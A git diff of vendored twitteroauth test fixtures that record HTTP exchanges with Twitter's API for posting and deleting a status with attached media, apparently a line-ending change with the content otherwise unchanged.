- "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "168", - "x-transaction": "00b2574000ab3b9b", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Sun Apr 26 00:31:53 +0000 2020\",\"id\":1254206531073126405,\"id_str\":\"1254206531073126405\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"}}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/destroy\/1254206531073126405.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"PSh1t4hehkC7u%2BSavz%2F1XjDqNsQ%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "1032", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:54 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:54 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_3oUt7yEiIkrIdZm93KffgQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111425865025; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "d611a34cdef1b62e60997f8804b13121", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "32", - "x-transaction": "0095262200cd1570", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Sun Apr 26 00:31:53 +0000 2020\",\"id\":1254206531073126405,\"id_str\":\"1254206531073126405\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"AyX%2FVakyYmVj6PbE3aVfoOnMPAY%3D\"", + "Expect": null + }, + "body": "media=%2F9j%2F4AAQSkZJRgABAQEASABIAAD%2F4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD%2BAAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAA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A7rnyP4UqT2Oxt8Q9bKVCvUr8KTz1irhsHN0P3d3FT3FXJIDCtnqyQmAYGgn61nh2Xj%2Fmxn%2F9xQ6UE%2Bxwszu43O%2B5oKRDJwmUmTOkfxNJfZBnc%2Bl1ATsJPHzVDElxbBdzu84DuJrPPtm7D%2FFgZKlBDgBIEfyoMe3s1y%2Fif%2F%2FZ" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "147", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:53 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:53 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_8CrJQZ4GEo5C37k3DTxSgw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111297984366; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "85581b6c6d277fa738d021d37568bbb0", + "x-frame-options": "SAMEORIGIN", + "x-rate-limit-limit": "415", + "x-rate-limit-remaining": "411", + "x-rate-limit-reset": "1587864355", + "x-response-time": "364", + "x-transaction": "00d00e5d0063da2c", + "x-tsa-request-body-time": "413", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + }, + "body": "{\"media_id\":1254206528162324480,\"media_id_string\":\"1254206528162324480\",\"size\":207808,\"expires_after_secs\":86400,\"image\":{\"image_type\":\"image\\\/jpeg\",\"w\":1024,\"h\":682}}" + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/update.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"RetzJJ6LP2PkP3o6gDmdImSAqXo%3D\"", + "Expect": null + }, + "body": "media_ids=1254206528162324480&status=Hello%20World%201587861062" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "1033", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:53 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:53 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_O75F2NbA9zJ103fgjkZXfA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111368767384; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "4beafab368e62bfadb87721f32433465", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "168", + "x-transaction": "00b2574000ab3b9b", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Sun Apr 26 00:31:53 +0000 2020\",\"id\":1254206531073126405,\"id_str\":\"1254206531073126405\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"}}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/destroy\/1254206531073126405.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"PSh1t4hehkC7u%2BSavz%2F1XjDqNsQ%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "1032", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:54 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:54 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_3oUt7yEiIkrIdZm93KffgQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111425865025; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "d611a34cdef1b62e60997f8804b13121", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "32", + "x-transaction": "0095262200cd1570", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Sun Apr 26 00:31:53 +0000 2020\",\"id\":1254206531073126405,\"id_str\":\"1254206531073126405\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206528162324480,\"id_str\":\"1254206528162324480\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfWMToXYAAK1Mx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/k34Vy1Gru6\",\"display_url\":\"pic.twitter.com\\\/k34Vy1Gru6\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206531073126405\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":682,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMediaChunked.json b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMediaChunked.json index 6fd2b116c1..ce538a2d07 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMediaChunked.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMediaChunked.json @@ -1,2392 +1,2392 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cOKZmxZ5f3bxiwWU%2B1cJ9hWpUL4%3D\"", - "Expect": null - }, - "body": "command=INIT&media_type=video%2Fmp4&total_bytes=383631" - }, - "response": { - "status": { - "http_version": "2", - "code": "202", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "101", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:54 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:54 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_0CYjFmw6Rjdl\/xKmqvzf4g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111466374311; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "202 Accepted", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "448b96791c0d13223e24f9c1edc4a7fa", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "200", - "x-rate-limit-remaining": "198", - "x-rate-limit-reset": "1587864355", - "x-response-time": "28", - "x-transaction": "009da55c002c6fca", - "x-tsa-request-body-time": "1", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - }, - "body": "{\"media_id\":1254206535166763008,\"media_id_string\":\"1254206535166763008\",\"expires_after_secs\":86399}" - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", 